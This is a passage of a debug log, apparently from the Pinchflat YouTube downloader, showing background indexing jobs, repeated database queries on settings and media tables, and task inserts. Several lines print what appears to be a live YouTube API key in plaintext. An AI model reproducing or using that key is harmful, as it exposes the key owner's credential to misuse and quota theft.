s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:35.330 [debug] QUERY OK source="media_profiles" db=0.1ms idle=451.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:35.330 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:35.330 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:16:35.330 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:35.330 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:35.449 [debug] QUERY OK source="media_items" db=0.5ms idle=118.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 16:16:35.450 [debug] QUERY OK source="media_items" db=0.9ms idle=119.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:16:35.451 [debug] QUERY OK source="tasks" db=0.1ms idle=120.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799929, 16, ~U[2026-02-10 22:16:35Z], ~U[2026-02-10 22:16:35Z]] 16:16:35.451 [info] {"args":{"id":16},"id":3799890,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121978,"event":"job:stop","queue_time":507344,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:36.331 [info] {"args":{"id":43},"id":3799891,"meta":{},"system_time":1770761796331632508,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:36.332 [debug] QUERY OK source="sources" db=0.1ms idle=880.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:16:36.332 [debug] QUERY OK source="settings" db=0.1ms idle=880.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:36.332 [debug] QUERY OK source="media_profiles" db=0.1ms idle=874.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:36.332 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:36.332 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:16:36.332 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:36.332 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:36.450 [debug] QUERY OK source="media_items" db=0.6ms idle=117.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 16:16:36.451 [debug] QUERY OK source="media_items" db=0.3ms idle=118.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:16:36.451 [debug] QUERY OK source="tasks" db=0.1ms idle=118.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799930, 43, ~U[2026-02-10 22:16:36Z], ~U[2026-02-10 22:16:36Z]] 16:16:36.452 [info] {"args":{"id":43},"id":3799891,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":120318,"event":"job:stop","queue_time":468043,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:38.334 [info] {"args":{"id":25},"id":3799892,"meta":{},"system_time":1770761798334716056,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:38.334 [info] {"args":{"id":7},"id":3799893,"meta":{},"system_time":1770761798334761721,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:38.335 [debug] QUERY OK source="sources" db=0.1ms idle=456.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:16:38.335 [debug] QUERY OK source="sources" db=0.1ms idle=456.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:16:38.335 [debug] QUERY OK source="settings" db=0.1ms idle=456.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:38.335 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:38.335 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:38.335 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:38.335 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:38.335 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:16:38.335 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:38.335 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:16:38.335 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:38.335 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:38.335 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:38.336 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:38.419 [debug] QUERY OK source="media_items" db=0.7ms idle=83.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 16:16:38.422 [debug] QUERY OK source="media_items" db=2.3ms idle=84.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:16:38.423 [debug] QUERY OK source="tasks" db=0.1ms idle=87.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799931, 7, ~U[2026-02-10 22:16:38Z], ~U[2026-02-10 22:16:38Z]] 16:16:38.423 [info] {"args":{"id":7},"id":3799893,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":88661,"event":"job:stop","queue_time":464652,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:38.430 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 16:16:38.431 [debug] QUERY OK source="media_items" db=1.1ms idle=7.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:16:38.432 [debug] QUERY OK source="tasks" db=0.1ms idle=2.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799932, 25, ~U[2026-02-10 22:16:38Z], ~U[2026-02-10 22:16:38Z]] 16:16:38.432 [info] {"args":{"id":25},"id":3799892,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":97739,"event":"job:stop","queue_time":539778,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:39.335 [info] {"args":{"id":20},"id":3799894,"meta":{},"system_time":1770761799335759713,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:39.336 [debug] QUERY OK source="sources" db=0.1ms idle=903.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:16:39.336 [debug] QUERY OK source="settings" db=0.1ms idle=903.4ms SELECT s0."id", s0."onboarding", 